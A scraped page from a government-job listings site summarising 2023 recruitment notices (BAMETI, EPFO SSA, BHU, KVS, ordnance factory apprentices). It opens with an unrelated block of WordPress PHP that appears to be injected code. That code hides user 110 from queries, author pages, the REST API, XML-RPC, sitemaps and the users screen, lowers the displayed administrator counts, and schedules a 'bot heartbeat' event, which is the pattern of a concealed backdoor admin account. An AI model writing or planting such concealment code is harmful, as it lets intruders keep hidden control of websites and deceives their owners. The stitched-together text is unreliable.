add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Graduation - Page 21 of 33 - Government Exam Alert - Jobs/ Exam Information
Skip to content
BAMETI Recruitment 2023 Assistant Technical Manager Bihar Agriculture Management & Extension Training Institute Recruitment 2023 BAMETI Recruitment for 1041 Posts of Accountant & Block Technical Manager ATM BTM Clerk BAMETI Bihar Agriculture Department Stenographer Vacancy Check Eligibility Criteria Apply Online Last Date BAMETI Recruitment 2023 for 1041 ATM BTM Clerk Apply Online LATEST UPDATE : … Read more
Categories Accounts Jobs , B.Com , B.Sc , BE/B.Tech , Clerk/ Stenographer , Golden Jobs , Government Jobs , Graduation , Other Government Jobs , State Government Jobs Tags Apply Online , Online Application Form epfo ssa recruitment 2023 epfo ssa online application form for 2859 Posts social security assistant stenographer apply online epfo ssa pre mains exam date EPFO SSA Recruitment 2023 Online Application Form -2859 Posts LATEST UPDATE dated 22.03.2023 : Good News !! EPFO has released Short Notice for Recruitment on SSA & Steno Posts through Employment … Read more
Categories 12th/ Intermediate Jobs , B.Com , B.Pharma , B.Sc , BA , BBA , BCA , BE/B.Tech , Central Government Jobs , Clerk/ Stenographer , Golden Jobs , Government Jobs , Graduation Tags Apply Online , Assistant , EPFO , epfo ssa recruitment 2023 , Online Application Form bhu recruitment 2023 for 60 Non Teaching Posts Apply Online Banaras Hindu University BHU Group A B Vacancies for Junior Engineer nursing Officer Online Application Form Advt No – 10/2022-2023 Non-teaching & School Teaching posts eligibility criteria pay scale how to apply BHU Recruitment 2023 – Non Teaching Posts Apply Online JOB UPDATE : BHU … Read more
Categories 12th/ Intermediate Jobs , Accounts Jobs , Adminstrative Jobs , B.Com , B.Ed/ B.P.Ed/ D.Ed/ B.El.Ed Jobs , B.Pharma , B.Sc , BA , BBA , BCA , BE/B.Tech , Diploma Jobs , Engineering/ Technical Jobs , Golden Jobs , Government Jobs , Graduation , MBBS/ MD/ Surgeon , Medical Jobs , Other Government Jobs , PhD/ Other Professional Courses , Post Graduate , State Government Jobs , Teaching/ Faculty Jobs Tags Apply Online , banaras hindu university , bhu recruitment 2023 , Non Teaching Posts , Online Application Form , teaching posts kvs tgt pgt recruitment 2023 kendriya vidyalaya sangthan kvs tgt pgt teacher vacancy 2023 kvs primary teacher recruitment on contract basis computer instructor sports coach north east zone kvs tgt pgt prt recruitment primary teacher apply online application KVS TGT PGT Recruitment 2023 Kendriya Vidyalaya Primary Teacher Application Form LATEST UPDATE : Good News !! … Read more
Categories B.Ed/ B.P.Ed/ D.Ed/ B.El.Ed Jobs , Central Government Jobs , Golden Jobs , Government Jobs , Graduation , Teaching/ Faculty Jobs , What's New Here Tags Apply Online , Kendriya Vidyalaya Sangthan , KVS , kvs part time tgt pgt vacancies , Online Application Form , pgt , primary teacher , prt , recruitment notification , tgt ordnance factory trade apprentice recruitment 2023 for 5395 Posts Yantra India Limited Recruitment 2023 for ITI & Non ITI Category Apprentice Posts YIL OFB Apprentice Vacancy Online Application Form 57th Batch Eligibility Criteria Selection Process important dates Ordnance Factory Trade Apprentice Recruitment 2023 OFB Online Application LATEST UPDATE : Last Date of Online Applications for … Read more
Categories Apprentice Jobs , Central Government Jobs , Diploma Jobs , Government Jobs , Graduation Tags Apply Online , apprentice , iof , Online Application Form , ordnance factory apprentice recruitment 2023 , ordnance factory board , Trade Apprentice